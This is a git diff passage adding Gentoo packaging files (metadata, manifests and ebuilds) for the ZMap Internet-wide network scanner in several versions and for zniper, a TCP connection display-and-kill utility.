+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+ <longdescription>
+ZMap is an open-source network scanner that enables researchers to easily
+perform Internet-wide network studies. With a single machine and a well
+provisioned network uplink, ZMap is capable of performing a complete scan of
+the IPv4 address space in under 45 minutes, approaching the theoretical limit
+of gigabit Ethernet.
+
+ZMap can be used to study protocol adoption over time, monitor service
+availability, and help us better understand large systems distributed
+across the Internet.
+</longdescription>
+ <use>
+ <flag name="redis">
+ Add support for storing in a redis DB via <pkg>dev-libs/hiredis</pkg>
+ </flag>
+ <flag name="json">Add support to store results JSON based</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/zmap/zmap-1.1.1.ebuild b/net-analyzer/zmap/zmap-1.1.1.ebuild
new file mode 100644
index 000000000000..55a0bcdd12b5
--- /dev/null
+++ b/net-analyzer/zmap/zmap-1.1.1.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils fcaps
+
+DESCRIPTION="Fast network scanner designed for Internet-wide network surveys"
+HOMEPAGE="https://zmap.io/"
+SRC_URI="https://github.com/${PN}/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+SLOT="0"
+LICENSE="Apache-2.0"
+KEYWORDS=" ~amd64 ~x86"
+IUSE="json redis"
+
+RDEPEND="
+ dev-libs/gmp
+ net-libs/libpcap
+ json? ( dev-libs/json-c )
+ redis? ( dev-libs/hiredis )"
+DEPEND="${RDEPEND}
+ dev-util/gengetopt
+ sys-devel/flex
+ dev-util/byacc"
+
+PATCHES=(
+ "${FILESDIR}"/${P}-out-of-src.patch
+ "${FILESDIR}"/${P}-json-c.patch
+)
+
+src_configure() {
+ local mycmakeargs=(
+ -DENABLE_DEVELOPMENT=OFF
+ -DENABLE_HARDENING=OFF
+ $(cmake-utils_use_with json)
+ $(cmake-utils_use_with redis)
+ )
+ cmake-utils_src_configure
+}
+
+FILECAPS=( cap_net_raw=ep usr/sbin/zmap )
diff --git a/net-analyzer/zmap/zmap-1.1.2.ebuild b/net-analyzer/zmap/zmap-1.1.2.ebuild
new file mode 100644
index 000000000000..6641d207d67f
--- /dev/null
+++ b/net-analyzer/zmap/zmap-1.1.2.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils fcaps
+
+DESCRIPTION="Fast network scanner designed for Internet-wide network surveys"
+HOMEPAGE="https://zmap.io/"
+SRC_URI="https://github.com/${PN}/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+SLOT="0"
+LICENSE="Apache-2.0"
+KEYWORDS=" ~amd64 ~x86"
+IUSE="json redis"
+
+RDEPEND="
+ dev-libs/gmp
+ net-libs/libpcap
+ json? ( dev-libs/json-c )
+ redis? ( dev-libs/hiredis )"
+DEPEND="${RDEPEND}
+ dev-util/gengetopt
+ sys-devel/flex
+ dev-util/byacc"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-1.1.1-out-of-src.patch
+ "${FILESDIR}"/${PN}-1.1.1-json-c.patch
+)
+
+src_configure() {
+ local mycmakeargs=(
+ -DENABLE_DEVELOPMENT=OFF
+ -DENABLE_HARDENING=OFF
+ $(cmake-utils_use_with json)
+ $(cmake-utils_use_with redis)
+ )
+ cmake-utils_src_configure
+}
+
+FILECAPS=( cap_net_raw=ep usr/sbin/zmap )
diff --git a/net-analyzer/zmap/zmap-1.2.0.ebuild b/net-analyzer/zmap/zmap-1.2.0.ebuild
new file mode 100644
index 000000000000..34fe0aa7c083
--- /dev/null
+++ b/net-analyzer/zmap/zmap-1.2.0.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils fcaps
+
+DESCRIPTION="Fast network scanner designed for Internet-wide network surveys"
+HOMEPAGE="https://zmap.io/"
+SRC_URI="https://github.com/${PN}/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+SLOT="0"
+LICENSE="Apache-2.0"
+KEYWORDS=" ~amd64 ~x86"
+IUSE="json redis"
+
+RDEPEND="
+ dev-libs/gmp
+ net-libs/libpcap
+ json? ( dev-libs/json-c )
+ redis? ( dev-libs/hiredis )"
+DEPEND="${RDEPEND}
+ dev-util/gengetopt
+ sys-devel/flex
+ dev-util/byacc"
+
+src_configure() {
+ local mycmakeargs=(
+ -DENABLE_DEVELOPMENT=OFF
+ -DENABLE_HARDENING=OFF
+ $(cmake-utils_use_with json)
+ $(cmake-utils_use_with redis)
+ )
+ cmake-utils_src_configure
+}
+
+FILECAPS=( cap_net_raw=ep usr/sbin/zmap )
diff --git a/net-analyzer/zmap/zmap-1.2.1.ebuild b/net-analyzer/zmap/zmap-1.2.1.ebuild
new file mode 100644
index 000000000000..ad8d5042776f
--- /dev/null
+++ b/net-analyzer/zmap/zmap-1.2.1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils fcaps
+
+DESCRIPTION="Fast network scanner designed for Internet-wide network surveys"
+HOMEPAGE="https://zmap.io/"
+SRC_URI="https://github.com/${PN}/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz"
+
+SLOT="0"
+LICENSE="Apache-2.0"
+KEYWORDS=" ~amd64 ~x86"
+IUSE="json redis"
+
+RDEPEND="
+ dev-libs/gmp
+ net-libs/libpcap
+ json? ( dev-libs/json-c )
+ redis? ( dev-libs/hiredis )"
+DEPEND="${RDEPEND}
+ dev-util/gengetopt
+ sys-devel/flex
+ dev-util/byacc"
+
+src_configure() {
+ local mycmakeargs=(
+ -DENABLE_DEVELOPMENT=OFF
+ -DENABLE_HARDENING=OFF
+ -DWITH_WERROR=OFF
+ $(cmake-utils_use_with json)
+ $(cmake-utils_use_with redis)
+ )
+ cmake-utils_src_configure
+}
+
+FILECAPS=( cap_net_raw=ep usr/sbin/zmap )
diff --git a/net-analyzer/zmap/zmap-9999.ebuild b/net-analyzer/zmap/zmap-9999.ebuild
new file mode 100644
index 000000000000..d4ba7486a0f1
--- /dev/null
+++ b/net-analyzer/zmap/zmap-9999.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils fcaps git-r3
+
+DESCRIPTION="Fast network scanner designed for Internet-wide network surveys"
+HOMEPAGE="https://zmap.io/"
+SRC_URI=""
+EGIT_REPO_URI="git://github.com/zmap/zmap.git"
+
+SLOT="0"
+LICENSE="Apache-2.0"
+KEYWORDS=""
+IUSE="json redis"
+
+RDEPEND="
+ dev-libs/gmp
+ net-libs/libpcap
+ json? ( dev-libs/json-c )
+ redis? ( dev-libs/hiredis )"
+DEPEND="${RDEPEND}
+ dev-util/gengetopt
+ sys-devel/flex
+ dev-util/byacc
+"
+
+src_configure() {
+ local mycmakeargs=(
+ -DENABLE_DEVELOPMENT=OFF
+ -DENABLE_HARDENING=OFF
+ -DWITH_WERROR=OFF
+ $(cmake-utils_use_with json)
+ $(cmake-utils_use_with redis)
+ )
+ cmake-utils_src_configure
+}
+
+FILECAPS=( cap_net_raw=ep usr/sbin/zmap )
diff --git a/net-analyzer/zniper/Manifest b/net-analyzer/zniper/Manifest
new file mode 100644
index 000000000000..88e3370f5e54
--- /dev/null
+++ b/net-analyzer/zniper/Manifest
@@ -0,0 +1 @@
+DIST zniper-1.0.tgz 20324 SHA256 317b115f0060252706e151936603b344119f0a547816d4bbf19d3808b8823e3f SHA512 052683628c8094c402fd042b6329ca799bab594debf35c4e8b4f422e58b67f1acba8b40b335e519f1d2f1baca6c716be40718fd1089020a86c97c011da7003d1 WHIRLPOOL bab7e049955a4748d620c98b18f7c9370ede6dd3d9b656abc91135239b9034c576049891d797b6a7e009d39a7e81b60463ffbf4ff6e3aa58b2a59fbc3df43a74
diff --git a/net-analyzer/zniper/metadata.xml b/net-analyzer/zniper/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/zniper/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/zniper/zniper-1.0-r1.ebuild b/net-analyzer/zniper/zniper-1.0-r1.ebuild
new file mode 100644
index 000000000000..5a996e5925f8
--- /dev/null
+++ b/net-analyzer/zniper/zniper-1.0-r1.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="Displays and kill active TCP connections seen by the selected interface"
+HOMEPAGE="http://www.signedness.org/tools/"
+SRC_URI="https://dev.gentoo.org/~jer/${P}.tgz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 x86"
+
+DEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses
+"
+RDEPEND="
+ ${DEPEND}
+ virtual/pkgconfig
+"
+
+S=${WORKDIR}/"zniper"
+
+src_prepare() {
+ sed -i \
+ -e 's| -o | $(LDFLAGS)&|g' \
+ -e 's|@make|@$(MAKE)|g' \
+ -e 's|-lncurses|$(shell $(PKG_CONFIG) --libs ncurses)|g' \
+ Makefile || die
+ tc-export PKG_CONFIG
+}
+
+src_compile() {
+ emake \
+ CC=$(tc-getCC) \
+ CFLAGS="${CFLAGS}" \
+ linux_x86
+}
+
+src_install() {
+ dobin zniper
+ doman zniper.1
+}